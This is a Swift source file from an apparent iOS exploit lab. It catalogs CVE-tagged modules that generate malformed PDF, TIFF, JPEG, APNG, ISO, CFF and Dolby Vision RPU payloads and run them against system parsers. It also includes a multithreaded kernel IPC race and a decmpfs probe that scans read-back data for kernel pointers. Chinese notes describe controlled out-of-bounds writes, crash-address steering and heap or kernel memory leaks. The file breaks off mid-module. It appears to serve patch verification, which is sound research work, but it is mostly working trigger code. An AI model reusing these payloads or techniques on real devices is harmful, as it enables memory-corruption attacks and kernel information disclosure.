Files

745 lines
45 KiB
Swift
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import Foundation
import UIKit
import ImageIO
enum Catalog {
static let all: [ExploitModule] = coreGraphics + imageIO + imageIO2 + archive + archive2 + coreMedia + crossSandbox + kernel + audio + audio2 + video + fonts + font2 + kext + userspace + tooling + probes
/// Modules that pin a fix Apple shipped in 27.2 (i.e. carry a CVE number). Computed,
/// never hardcoded — the overview subtitle reads it, so it cannot go stale.
static var locatedFixes: Int { all.filter { $0.cve.hasPrefix("CVE-") }.count }
// MARK: - CoreGraphics
static let coreGraphics: [ExploitModule] = [
ExploitModule(
id: "cg.shading",
titleZh: "Type-5 阴影栈溢出(值可控 OOB 写)",
cve: "CVE-2026-112611",
component: "CoreGraphics · _cg_shading_type5_draw",
primitive: .oobWrite,
reach: .inProcess,
tier: 1,
summaryZh: "/ShadingType 5 的 /Function 声明的 /Range 维度与 /ColorSpace 的分量数不一致。绘制时 _cg_shading_type5_draw 为每个三角形顶点构造一条 72 字节网格记录,颜色区位于记录 +0x20、容量为 nc×8 字节,随后调用 CGFunctionEvaluate —— 该函数以其自身 [func+0x30] 字段(即 /Range 维度)为上界,向该颜色区写入 range 个 double。写入长度与目标容量之间没有任何比较。网格数组由 CGTriangleMeshCreate 在栈上 alloca,故最后一条记录的写会依次越过记录尾、辅助数组、行缓冲与保存寄存器。",
notesZh: "取 R=136、nc=1、/C0=/C1=1.0 时,每次写入的 double 位模式均为 0x3FF0000000000000。溢出同时覆盖溢出的三角形计数与网格指针两个 spill 槽;循环退出比较读到被覆盖后的计数后继续执行,随后解引用被覆盖的网格指针。因此崩溃地址即 PDF 选定的 double 位模式加一个结构偏移 —— 设备实测 0x3ff000000000001c,其中 0x1c = idx×16 + 0xc。27.2 在解析期以 CG-SEC-187882049 拒绝该字典,draw 代码两侧字节完全一致,属纯闸门修复。",
run: { ctx in
let pdf = PDFPayload.shading(rangeDim: 136, value: 1.0)
let url = ctx.write("crash_shading_r136.pdf", pdf)
ctx.arm("cg.shading", "render R=136")
let detail = try Runners.renderPDF(pdf)
ctx.disarm("cg.shading", detail)
return ModuleOutcome(headline: tl("渲染存活 — 该构建未受影响"),
detail: detail,
evidence: ["PDF \(pdf.count) B", "R=136 vs nc=1"],
artifacts: [url])
}),
ExploitModule(
id: "cg.shading.sweep",
titleZh: "溢出长度扫描(找吸收阈值)",
cve: "CVE-2026-112611",
component: "CoreGraphics · Type-5 shading",
primitive: .oobWrite,
reach: .inProcess,
tier: 1,
summaryZh: "短溢出会被相邻 VLA 吸收而不触发故障 —— 写入必须足够长才能触及活状态。本轮将 R 由 4 递增至 256,逐一记录是否仍能完成渲染,从而标定该构建上栈布局的实际边界。该阈值决定后续所有负载的长度预算。",
notesZh: "按升序执行。小 R 先完成,进程在第一个致命 R 处终止,写前日志保留最后一个成功值,因此单次运行即可定位边界。",
run: { ctx in
let ladder = [4, 8, 12, 16, 24, 32, 48, 64, 96, 136, 192, 256]
var survived: [Int] = []
var lines: [String] = []
for r in ladder {
ctx.arm("cg.shading.sweep", "R=\(r)")
let pdf = PDFPayload.shading(rangeDim: r, value: 1.0)
do {
let detail = try Runners.renderPDF(pdf)
survived.append(r)
lines.append(tl("R=") + "\(r)" + tl(" 存活 — ") + "\(detail)")
ctx.disarm("cg.shading.sweep", "R=\(r) survived")
} catch {
lines.append(tl("R=") + "\(r)" + tl(" 被拒绝 — ") + "\(error.localizedDescription)")
ctx.disarm("cg.shading.sweep", "R=\(r) refused")
}
}
return ModuleOutcome(headline: tl("全部 ") + "\(ladder.count)" + tl(" 个长度存活"),
detail: lines.joined(separator: "\n"),
evidence: [tl("存活: ") + "\(survived.map(String.init).joined(separator: ", "))"])
}),
ExploitModule(
id: "cg.cmap",
titleZh: "CMap /UseCMap 递归越界写(负结果探针)",
cve: "CVE-2026-112610",
component: "CoreGraphics · _cmap_convert",
primitive: .oobWrite,
reach: .inProcess,
tier: 3,
summaryZh: "_cmap_convert 在递归时把外层的 codespace 长度(最大 255)传入仅容纳单个结果的输出槽(2 字节 code / 8 字节 len)。27.2 增加 min(L,4) 钳制并重排输出槽布局。",
notesZh: "源分析中,内嵌 CMap 这一载体被三条相互独立的可达性阻断否定。本模块的价值在于将负结果同样留档:若该构建上出现崩溃,说明载体已被重新打通,结论需随之修正。",
run: { ctx in
let pdf = PDFPayload.cmapProbe(codespaceLength: 128)
let url = ctx.write("cmap_probe.pdf", pdf)
ctx.arm("cg.cmap", "render cmap")
let detail = try Runners.renderPDF(pdf)
ctx.disarm("cg.cmap", detail)
return ModuleOutcome(headline: tl("渲染存活(与源分析的负结果一致)"),
detail: detail,
evidence: ["PDF \(pdf.count) B", tl("codespace 长度 128")],
artifacts: [url])
}),
]
// MARK: - ImageIO
static let imageIO: [ExploitModule] = [
ExploitModule(
id: "iio.tiff.planar",
titleZh: "TIFF planar 散写越界",
cve: "CVE-2026-112633 / 112614",
component: "ImageIO · decodeStripPlanar",
primitive: .oobWrite,
reach: .inProcess,
tier: 2,
summaryZh: "当 PlanarConfiguration=2 且 SamplesPerPixel 大于 Photometric 所指的通道数时,散写指针的偏移以 32 位乘法计算,且计算结果与目标行容量之间不存在任何比较。27.2 改为 64 位 umull 并比对所需字节数与容量。",
notesZh: "24A435 的报错串不存在:\"*** ERROR: decodeStripPlanar destination row is %u bytes, the scatter needs %llu\"。",
run: { ctx in
let tiff = TIFFPayload.planarScatter(width: 64, height: 64, spp: 4)
let url = ctx.write("planar_scatter.tif", tiff)
ctx.arm("iio.tiff.planar", "decode planar")
let r = try Runners.decodeImage(tiff)
ctx.disarm("iio.tiff.planar", "decoded \(r.width)x\(r.height)")
return ModuleOutcome(headline: tl("解码存活 ") + "\(r.width)" + tl("×") + "\(r.height)",
detail: tl("帧数 ") + "\(r.frameCount)" + tl(",已解码 ") + "\(r.decoded)" + tl(",属性 ") + "\(r.properties)",
evidence: ["TIFF \(tiff.count) B", "spp=4 photometric=RGB"],
artifacts: [url])
}),
ExploitModule(
id: "iio.tiff.trunc",
titleZh: "TIFF 截断条带 → 未初始化堆进像素",
cve: "CVE-2026-112632",
component: "ImageIO · decodeStripChunky",
primitive: .infoLeak,
reach: .inProcess,
tier: 2,
summaryZh: "TIFFReadEncodedStrip 的返回值未被检查。读取失败时,未初始化的 malloc 条带缓冲被散写进输出图像,故解码所得像素即为进程堆中的残留内容。",
notesZh: "判别方法:对同一文件连续解码三次并比对输出指纹。若条带区域每次不同,即证明取到的是未初始化堆。27.2 将其零填充并输出 \"strip %d is zero-filled\"。",
run: { ctx in
let tiff = TIFFPayload.truncatedStrip(width: 32, height: 32)
let url = ctx.write("trunc_strip.tif", tiff)
ctx.arm("iio.tiff.trunc", "decode truncated strip")
var digests: [String] = []
for i in 0..<3 {
if let src = CGImageSourceCreateWithData(tiff as CFData, nil),
let img = CGImageSourceCreateImageAtIndex(src, 0, nil),
let data = img.dataProvider?.data as Data? {
var hash: UInt64 = 0xcbf29ce484222325
for b in data.prefix(4096) { hash = (hash ^ UInt64(b)) &* 0x100000001b3 }
digests.append(String(format: "run%d: %016llx (%d B)", i, hash, data.count))
} else {
digests.append(tl("run") + "\(i)" + tl(": 解码失败"))
}
}
ctx.disarm("iio.tiff.trunc", "3 runs")
let unstable = Set(digests.map { $0.split(separator: ": ").last.map(String.init) ?? $0 }).count > 1
return ModuleOutcome(headline: unstable ? tl("输出不稳定 — 未初始化内存迹象") : tl("输出稳定"),
detail: digests.joined(separator: "\n"),
evidence: ["TIFF \(tiff.count) B", tl("3 次解码指纹")],
artifacts: [url])
}),
ExploitModule(
id: "iio.apng.fctl",
titleZh: "APNG fcTL 截断 → 栈上未初始化帧几何",
cve: "CVE-2026-112630",
component: "ImageIO · IIO_Reader_PNG::getImageCount",
primitive: .infoLeak,
reach: .inProcess,
tier: 2,
summaryZh: "在 fcTL 偏移处读取 34 字节,且不检查返回值。当文件在 fcTL 中间被截断时,该 34 字节栈缓冲只有前部被写入,其余部分作为帧宽、高、偏移与延时被解析。",
notesZh: "27.2 改为读 26 字节并检查 cmp x0,#0x1a,报 \"*** truncated 'fcTL' chunk at offset %ld\"。",
run: { ctx in
let png = PNGPayload.apngTruncatedFCTL()
let url = ctx.write("apng_trunc_fctl.png", png)
ctx.arm("iio.apng.fctl", "getImageCount")
let r = try Runners.decodeImage(png)
ctx.disarm("iio.apng.fctl", "count=\(r.frameCount)")
return ModuleOutcome(headline: tl("帧数 ") + "\(r.frameCount)",
detail: tl("解码 ") + "\(r.decoded)" + tl(",尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)" + tl("\n属性: ") + "\(r.properties)",
evidence: ["PNG \(png.count) B", tl("fcTL 声明 26B 实到 4B")],
artifacts: [url])
}),
ExploitModule(
id: "iio.jpeg.marker",
titleZh: "JPEG 标记长度越界",
cve: "CVE-2026-112634",
component: "ImageIO · _JPEGFile::processData",
primitive: .oobRead,
reach: .inProcess,
tier: 2,
summaryZh: "当标记声明的长度远超实际存在的字节数时,27.0 仅记录一条 \"*** WARNING: check markerLength\" 并继续解析,导致越界读取;27.2 直接中止解析。",
notesZh: "长度 0xFFEE,实际负载 28 字节。",
run: { ctx in
let jpg = JPEGPayload.markerLength(declared: 0xFFEE, actual: 30)
let url = ctx.write("markerlen.jpg", jpg)
ctx.arm("iio.jpeg.marker", "decode")
let r = try Runners.decodeImage(jpg)
ctx.disarm("iio.jpeg.marker", "decoded=\(r.decoded)")
return ModuleOutcome(headline: tl("解析存活(已解码=") + "\(r.decoded)" + tl(")"),
detail: tl("帧数 ") + "\(r.frameCount)" + tl(",属性 ") + "\(r.properties)",
evidence: ["JPEG \(jpg.count) B", tl("声明长度 65518")],
artifacts: [url])
}),
ExploitModule(
id: "iio.jpeg.comment",
titleZh: "EXIF UserComment 短读 → 元数据泄露",
cve: "CVE-2026-112571",
component: "ImageIO · ReadUserComment",
primitive: .infoLeak,
reach: .inProcess,
tier: 2,
summaryZh: "getBytesAtOffset 的返回值未被检查。当条目值偏移落在标记之外时发生短读,malloc 缓冲尾部保持未初始化,随后该缓冲作为 UserComment 元数据返回给调用方 —— 构成对进程堆的直接读取。",
notesZh: "count 声明 0x400,值偏移 +0x4000。返回值里会打印实际拿到的字节数与前 24 字节。",
run: { ctx in
let jpg = JPEGPayload.exifUserComment(count: 0x400, valueOffset: 0x4000)
let url = ctx.write("exif_comment.jpg", jpg)
ctx.arm("iio.jpeg.comment", "read properties")
let r = try Runners.decodeImage(jpg)
ctx.disarm("iio.jpeg.comment", "props read")
return ModuleOutcome(headline: tl("元数据读取完成"),
detail: r.properties.isEmpty ? tl("无可用属性") : r.properties,
evidence: ["JPEG \(jpg.count) B", "UserComment count=1024 offset=16384"],
artifacts: [url])
}),
ExploitModule(
id: "iio.jpeg.gps",
titleZh: "GPS IFD 值偏移越界",
cve: "CVE-2026-112629",
component: "ImageIO · GPSCopy::processData",
primitive: .oobRead,
reach: .inProcess,
tier: 2,
summaryZh: "GPS-IFD 遍历使用裸指针解引用与一个未检查的 read32。当条目值偏移指向 GPS 块之外时,读取直接越界。27.2 将全部访问重写为 checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked,违规时抛出 OutOfBounds 异常。",
notesZh: "GPSAltitude 的 RATIONAL 偏移指向 +0x10000 处。",
run: { ctx in
let jpg = JPEGPayload.exifGPSOutOfBounds(delta: 0x10000)
let url = ctx.write("exif_gps_oob.jpg", jpg)
ctx.arm("iio.jpeg.gps", "read GPS")
let r = try Runners.decodeImage(jpg)
ctx.disarm("iio.jpeg.gps", "read")
return ModuleOutcome(headline: tl("GPS 读取存活"),
detail: r.properties.isEmpty ? tl("无可用属性") : r.properties,
evidence: ["JPEG \(jpg.count) B", tl("值偏移 +65536")],
artifacts: [url])
}),
ExploitModule(
id: "iio.dds.bc7",
titleZh: "BC7 纹理 mip 截断",
cve: "CVE-2026-112627",
component: "ImageIO · BCReadPlugin::initialize",
primitive: .oobRead,
reach: .inProcess,
tier: 2,
summaryZh: "截断的 mip 层级在 27.0 仅产生一条 WARNING 后继续块解码,块解码器随即读到数据之外。27.2 将「零个完整 mip」变为硬错误,并补上 64 位 mip 尺寸运算与尺寸/数据量闸门。",
notesZh: "512×512 BC7 需要 65536 字节,实际只给 64 字节。",
run: { ctx in
let dds = TexturePayload.bc7Short(width: 512, height: 512, dataBytes: 64)
let url = ctx.write("bc7_short.dds", dds)
ctx.arm("iio.dds.bc7", "decode")
let r = try Runners.decodeImage(dds)
ctx.disarm("iio.dds.bc7", "decoded=\(r.decoded)")
return ModuleOutcome(headline: tl("解码存活(已解码=") + "\(r.decoded)" + tl(")"),
detail: tl("尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)",
evidence: ["DDS \(dds.count) B", tl("需要 65536 B,实际 64 B")],
artifacts: [url])
}),
ExploitModule(
id: "iio.ktx2",
titleZh: "KTX2 维度/层级尺寸运算",
cve: "CVE-2026-112625",
component: "ImageIO · KTX2ReadPlugin",
primitive: .intOverflow,
reach: .inProcess,
tier: 2,
summaryZh: "KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护,且既有检查所依据的量本身是错的(使用 channels 而非源 bpp)。27.2 增加 \"image dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。",
notesZh: "维度 0xFFFF×0xFFFF,层级索引声明 64 字节。",
run: { ctx in
guard let data = ctx.seed("ktx2_bad_dims.ktx2") else {
throw LabError(message: tl("种子缺失 ktx2_bad_dims.ktx2"))
}
let url = ctx.write("ktx2_bad_dims.ktx2", data)
ctx.arm("iio.ktx2", "decode")
let r = try Runners.decodeImage(data)
ctx.disarm("iio.ktx2", "decoded=\(r.decoded)")
return ModuleOutcome(headline: tl("解码存活(已解码=") + "\(r.decoded)" + tl(")"),
detail: tl("尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)",
evidence: ["KTX2 \(data.count) B"],
artifacts: [url])
}),
]
// MARK: - libarchive
static let archive: [ExploitModule] = [
ExploitModule(
id: "arc.iso",
titleZh: "ISO9660 Joliet 路径名堆溢出",
cve: "CVE-2026-112522",
component: "libarchive · build_pathname_utf16be",
primitive: .oobWrite,
reach: .inProcess,
tier: 1,
summaryZh: "build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/',且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为 1024 字节时,最深层回卷的写入落在 p[1024] 与 p[1025],越过 malloc(1024) 两个字节,其中 0x002F 覆盖相邻堆块头。",
notesZh: "目录链长度 4×206 + 192 + 4×2 = 1024,与上限精确对齐。已在 macOS 同版本 fork 上以 bsdtar 复现,硬件断点命中于 \"Pathname is too long\" 之前的写指令。",
run: { ctx in
guard let iso = ctx.seed("joliet_path_oob.iso") else {
throw LabError(message: tl("种子缺失 joliet_path_oob.iso"))
}
let url = ctx.write("joliet_path_oob.iso", iso)
ctx.arm("arc.iso", "iterate headers")
let (entries, status) = try Runners.Archive.list(iso)
ctx.disarm("arc.iso", "entries=\(entries.count)")
return ModuleOutcome(headline: tl("遍历完成,") + "\(entries.count)" + tl(" 条目"),
detail: entries.joined(separator: "\n") + tl("\n状态: ") + "\(status)",
evidence: ["ISO \(iso.count) B", tl("累计路径 1024 B")],
artifacts: [url])
}),
ExploitModule(
id: "arc.iso.stress",
titleZh: "Joliet 路径长度循环",
cve: "CVE-2026-112522",
component: "libarchive · build_pathname_utf16be",
primitive: .oobWrite,
reach: .inProcess,
tier: 1,
summaryZh: "对同一 ISO 反复遍历,使 2 字节越界写在堆上多次发生并与其它分配交错。单次两字节的写通常被 malloc 元数据吸收,重复执行才可能将损坏推移到可见位置。",
notesZh: "32 轮,每轮新建 archive 句柄。",
run: { ctx in
guard let iso = ctx.seed("joliet_path_oob.iso") else {
throw LabError(message: tl("种子缺失"))
}
ctx.arm("arc.iso.stress", "32 rounds")
var lines: [String] = []
for i in 0..<32 {
do {
let (entries, status) = try Runners.Archive.list(iso)
lines.append(tl("round ") + "\(i)" + tl(": ") + "\(entries.count)" + tl(" 条目 / ") + "\(status)")
} catch {
lines.append("round \(i): \(error.localizedDescription)")
}
}
ctx.disarm("arc.iso.stress", "32 rounds done")
return ModuleOutcome(headline: tl("32 轮完成,进程存活"),
detail: lines.suffix(10).joined(separator: "\n"),
evidence: [tl("重复越界写 32 次")])
}),
]
// MARK: - CoreMedia
static let coreMedia: [ExploitModule] = [
ExploitModule(
id: "cm.rpu",
titleZh: "Dolby Vision RPU 扩展元数据块数组越界",
cve: "CVE-2026-112688",
component: "CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks",
primitive: .oobWrite,
reach: .systemProcess,
tier: 2,
summaryZh: "三个固定容量数组(A: 4×28 B,B: 8×14 B,C: 5×36 B)在写入前没有计数上界。27.0 的 cmp + b.hi 仅跳过计数自增,写入仍以未检查的计数为索引执行。数组 A 的越界写会越过 0x73b4 字节结构体末端,落入调用者的保存寄存器区 —— CMGetDMVersionLevelFromRPU 将该结构体置于自身栈帧。",
notesZh: "该行是公告中唯一明确标注「任意代码执行」的 CoreMedia 条目。头部语法在源研究中仅重建至入口检查(magic / rpu_type / rpu_format 已在 macOS 孪生上实测通过),故此处采用参数化语法探针,以解析器自身返回的错误作为进度回执。",
run: { ctx in
let payload = RPUPayload.probe(blockID: 1, blockCount: 6)
let url = ctx.write("rpu_probe_1x6.bin", payload)
var version: UInt32 = 0
var level: UInt32 = 0
ctx.arm("cm.rpu", "parse rpu")
let rc = try Runners.rpuParse(payload, version: &version, level: &level)
ctx.disarm("cm.rpu", "rc=\(rc)")
return ModuleOutcome(headline: tl("解析返回 ") + "\(rc)",
detail: tl("OSStatus=") + "\(rc)" + tl(" dmVersion=") + "\(version)" + tl(" dmLevel=") + "\(level)" + tl("\n负载 ") + "\(payload.count)" + tl(" B,block-id 1 × 6(容量 4)"),
evidence: ["RPU \(payload.count) B"],
artifacts: [url])
}),
ExploitModule(
id: "cm.rpu.sweep",
titleZh: "RPU 块数与块类型扫描",
cve: "CVE-2026-112688",
component: "CoreMedia · DOVI RPU",
primitive: .oobWrite,
reach: .systemProcess,
tier: 2,
summaryZh: "依次用 block-id 1/2/6 分别打三个数组(容量 4/8/5),每种块类型从刚好越界一个到越界八个,记录解析器在哪个点开始拒绝或崩溃。",
notesZh: "数组 A 是唯一逃出结构体、进入保存寄存器的那一个;B 和 C 是结构体内跨字段污染。",
run: { ctx in
var lines: [String] = []
let plans: [(UInt32, [Int])] = [(1, [5, 6, 8]), (2, [9, 12, 16]), (6, [6, 8, 10])]
ctx.arm("cm.rpu.sweep", "sweep")
for (blockID, counts) in plans {
for c in counts {
let payload = RPUPayload.probe(blockID: blockID, blockCount: c)
var v: UInt32 = 0
var l: UInt32 = 0
do {
let rc = try Runners.rpuParse(payload, version: &v, level: &l)
lines.append("id=\(blockID) n=\(c) → rc=\(rc) v=\(v) l=\(l)")
} catch {
lines.append("id=\(blockID) n=\(c) → \(error.localizedDescription)")
}
}
}
ctx.disarm("cm.rpu.sweep", "done")
return ModuleOutcome(headline: tl("扫描完成"), detail: lines.joined(separator: "\n"))
}),
]
// MARK: - Kernel
static let kernel: [ExploitModule] = [
ExploitModule(
id: "kern.ipc",
titleZh: "ipc_port 请求表索引竞态",
cve: "CVE-2026-112507 / 112476",
component: tl("XNU · ipc_port.c 请求表消费方"),
primitive: .uaf,
reach: .kernel,
tier: 2,
summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。",
notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。",
run: { ctx in
let baseline = KernelIPC.baseline()
ctx.arm("kern.ipc", "race 6s")
let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48)
ctx.disarm("kern.ipc", "ops=\(stats.operations)")
var lines = [stats.summary, ""]
lines.append(tl("— 基线 —"))
for (k, v) in baseline.sorted(by: { $0.key < $1.key }) {
lines.append("\(k): \(v)")
}
if stats.notificationsRefused > 0 {
lines.append("")
lines.append(tl("— 平台限制 —"))
lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。"))
lines.append(tl("该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。"))
lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收,"))
lines.append(tl("验证了名称空间的分配/拆除路径本身可用。"))
}
let headline: String
if stats.notificationsRefused > 0 {
headline = tl("分配/拆除路径可用,通知武装被平台拒绝")
} else if !stats.kernelErrors.isEmpty {
headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码")
} else {
headline = tl("竞态完成 ") + "\(stats.operations)" + tl(" 次操作,无异常返回")
}
return ModuleOutcome(headline: headline,
detail: lines.joined(separator: "\n"),
evidence: baseline.map { "\($0.key): \($0.value)" })
}),
ExploitModule(
id: "kern.decmpfs",
titleZh: "decmpfs 分块解压欠产出 → 内核堆泄露",
cve: "CVE-2026-113910",
component: "XNU · AppleFSCompressionTypeZlib",
primitive: .infoLeak,
reach: .kernel,
tier: 2,
summaryZh: "分块 zlib 解压的实际产出少于预期时,27.0 不比对 produced 与 expected,内核页缓冲的尾部因此保持未写状态;read() 随后将整个缓冲交回应用,使应用取得陈旧的堆内容。27.2 补入该比对。",
notesZh: "这是整套原语中少数完全不需要 entitlement 的内核路径:应用在自身容器内写入一个带 com.apple.decmpfs 扩展属性的文件,读回的内容即内核解压的产物。以 8 字节窗口扫描,凡落在内核地址空间范围(≥ 0xFFFFFFE000000000)的值即为候选指针。",
run: { ctx in
let url = ctx.workdir.appendingPathComponent("decmpfs_probe.bin")
ctx.arm("kern.decmpfs", "roundtrip")
var lines: [String] = []
var totalHits = 0
for (chunks, produce) in [(4, 65536), (4, 4096), (8, 1024), (2, 1)] {
let r = Runners.decmpfsProbe(at: url,
uncompressed: chunks * 65536,
chunks: chunks,
producePerChunk: produce)
totalHits += r.kernelPointerHits
lines.append("chunks=\(chunks) produce=\(produce): xattr=\(r.wroteXattr) read=\(r.readBack)B hits=\(r.kernelPointerHits) — \(r.note)")
if !r.samples.isEmpty {
lines.append(tl(" 候选: ") + r.samples.joined(separator: ", "))
}
}
ctx.disarm("kern.decmpfs", "hits=\(totalHits)")
return ModuleOutcome(headline: totalHits > 0 ? tl("发现 ") + "\(totalHits)" + tl(" 个内核指针候选") : tl("未发现内核指针"),
detail: lines.joined(separator: "\n"),
artifacts: [url])
}),
ExploitModule(
id: "kern.baseline",
titleZh: "Mach 命名空间基线",
cve: "—",
component: "XNU · mach_port",
primitive: .probe,
reach: .kernel,
tier: 3,
summaryZh: "读取 bootstrap 端口与自身端口命名空间,确认竞态前的起点:能不能列出端口、能拿到多少个名字。",
notesZh: "任何一次竞态结果都要和这个基线一起看。",
run: { ctx in
ctx.arm("kern.baseline", "collect")
let base = KernelIPC.baseline()
ctx.disarm("kern.baseline", "collected")
return ModuleOutcome(headline: tl("基线已采集"),
detail: base.map { "\($0.key) = \($0.value)" }.sorted().joined(separator: "\n"))
}),
]
// MARK: - Audio
static let audio: [ExploitModule] = [
ExploitModule(
id: "aud.lc3",
titleZh: "LC3 解码器输入缓冲溢出",
cve: "CVE-2026-112638",
component: "AudioCodecs · ACLC3Decoder::AppendInputData",
primitive: .oobWrite,
reach: .entitlementGated,
tier: 2,
summaryZh: "memcpy 仅以 mDataByteSize 作为长度,完全不参考输入 vector 的 (begin, end) 容量。27.2 增加 capacity < size 时的拒绝分支。LC3 是蓝牙 LE Audio 的编解码器,其实例化受 com.apple.coreaudio.allow-lc3-codec 授权约束,故崩溃发生在系统音频进程内 —— 与公告所称「系统终止」一致。",
notesZh: "这个模块先检查进程是否持有该 entitlement,再尝试构造 LC3 AudioConverter 看内核/框架在哪一层拒绝。无授权时它一定失败,但失败点本身就是有用信息。",
run: { ctx in
ctx.arm("aud.lc3", "probe")
var lines: [String] = []
let ents = Entitlements.dump()
let lc3 = ents["com.apple.coreaudio.allow-lc3-codec"]
lines.append("com.apple.coreaudio.allow-lc3-codec = \(lc3.map { "\($0)" } ?? tl("缺失"))")
lines.append(Runners.audioConverter(format: 0x6C633320, sampleRate: 48000, channels: 1))
lines.append(Runners.audioConverter(format: 0x6C633320, sampleRate: 16000, channels: 2))
ctx.disarm("aud.lc3", "probe complete")
return ModuleOutcome(headline: lc3 == nil ? tl("无授权 — 只能走无线链路") : tl("持有授权"),
detail: lines.joined(separator: "\n"))
}),
ExploitModule(
id: "aud.hoa",
titleZh: "HOA 空间音频系数越界读",
cve: "CVE-2026-112546",
component: "AudioCodecs · APACHOADecoder::Initialize",
primitive: .oobRead,
reach: .systemProcess,
tier: 2,
summaryZh: "mNumHOAcoeffs 由文件内的 hoa::CodecConfig 反序列化取得。既有检查仅拦下大于 122 的值,而 37 至 121 之间的取值会索引一个长度为 37 的数组。27.2 将比较阈值改为 0x25。",
notesZh: "系数上限来自 kMaxNumSCs_DynSelSCs4EachSB。这条要真正打进去需要 MPEG-H / 沉浸式音频文件,应用侧只能探到解码器是否可达。",
run: { ctx in
ctx.arm("aud.hoa", "probe")
var lines: [String] = []
let libs = ["/System/Library/Frameworks/AudioToolbox.framework/AudioToolbox",
"/System/Library/PrivateFrameworks/AudioToolboxCore.framework/AudioToolboxCore",
"/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs"]
for lib in libs {
guard let h = dlopen(lib, RTLD_NOW) else {
lines.append("✗ \(lib)")
continue
}
var found: [String] = []
for sym in ["HOASpatialDecoder", "APACHOADecoder", "UniDrcSelection", "mpddrc"] {
if dlsym(h, sym) != nil { found.append(sym) }
}
lines.append(tl("✓ ") + "\(lib)" + tl(" 命中: ") + "\(found.isEmpty ? tl("无") : found.joined(separator: ", "))")
}
lines.append(Runners.audioConverter(format: 0x6D686D31, sampleRate: 48000, channels: 4))
ctx.disarm("aud.hoa", "probe complete")
return ModuleOutcome(headline: tl("解码器可达性探测完成"),
detail: lines.joined(separator: "\n"))
}),
ExploitModule(
id: "aud.haptic",
titleZh: "AVHaptic 自定义音频事件格式校验",
cve: "CVE-2026-113907",
component: "AudioToolbox · AVHapticServerInstance",
primitive: .oobWrite,
reach: .systemProcess,
tier: 2,
summaryZh: "createCustomAudioEvent 在 27.0 既不校验 ASBD 的合法性,也不比对 frames×bytesPerFrame 与实际波形字节数。27.2 同时补入这两项校验。该接口的 XPC 服务端位于 CoreHaptics 的服务器进程内。",
notesZh: "通过 CHHapticEngine 的 audioCustom 事件驱动,是最接近服务端入参的一条公开路径。",
run: { ctx in
ctx.arm("aud.haptic", "register + play")
let report = Runners.hapticCustomAudio(frameCount: 4096, declaredBytes: 4)
ctx.disarm("aud.haptic", "played")
return ModuleOutcome(headline: tl("触觉事件已尝试"), detail: report)
}),
]
// MARK: - Fonts / ModelIO
static let fonts: [ExploitModule] = [
ExploitModule(
id: "font.cff",
titleZh: "CFF Type2 charstring 操作数栈溢出",
cve: "CVE-2026-112683",
component: tl("FontParser · charstring 解释器"),
primitive: .oobWrite,
reach: .inProcess,
tier: 2,
summaryZh: "Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护,并将扫描暂存区的 32 位乘法改为 64 位,同时修正了符号扩展指针。",
notesZh: "这个种子是一个裸 CFF:单个 charstring 连推 300 个操作数再 endchar。绘制字形才会真正执行解释器。",
run: { ctx in
guard let cff = ctx.seed("stack_bomb.cff") else {
throw LabError(message: tl("种子缺失 stack_bomb.cff"))
}
let url = ctx.write("stack_bomb.cff", cff)
ctx.arm("font.cff", "load + draw")
do {
let detail = try Runners.loadFont(cff)
ctx.disarm("font.cff", detail)
return ModuleOutcome(headline: tl("字体已加载并绘制"), detail: detail,
evidence: ["CFF \(cff.count) B", tl("charstring 推 300 个操作数")],
artifacts: [url])
} catch {
// A refusal is the informative result here: it tells you which stage
// rejected the font, which is exactly what the A/B compares.
let message = (error as? LocalizedError)?.errorDescription ?? error.localizedDescription
ctx.disarm("font.cff", "rejected: \(message)")
return ModuleOutcome(
headline: tl("字体在解析阶段被拒绝"),
detail: "\(message)" + tl("\n\n种子 ") + "\(cff.count)" + tl(" B,单个 charstring 连续推入 300 个操作数后 endchar。\n") +
tl("27.0 期望:push 路径无计数检查,操作数栈越界。\n") +
tl("27.2 期望:Push/Pop 两道栈保护在解释前拒绝该字体。\n") +
tl("被拒绝本身即说明校验发生在解释器之前 —— 这是该构建上有效的观测。"),
evidence: ["CFF \(cff.count) B", tl("操作数 300 > 栈容量 48")],
artifacts: [url])
}
}),
ExploitModule(
id: "mdl.usda",
titleZh: "USDA 声明嵌套深度",
cve: "CVE-2026-112485",
component: "Model I/O · libusd_ms",
primitive: .oobRead,
reach: .inProcess,
tier: 2,
summaryZh: "Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32:经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile 尺寸检查。ModelIO.dylib 自身不含任何修复。",
notesZh: "2000 层嵌套的 def Xform。27.2 会在嵌套上限处拒绝,27.0 递归下去。",
run: { ctx in
guard let usda = ctx.seed("deep_nest.usda") else {
throw LabError(message: tl("种子缺失 deep_nest.usda"))
}
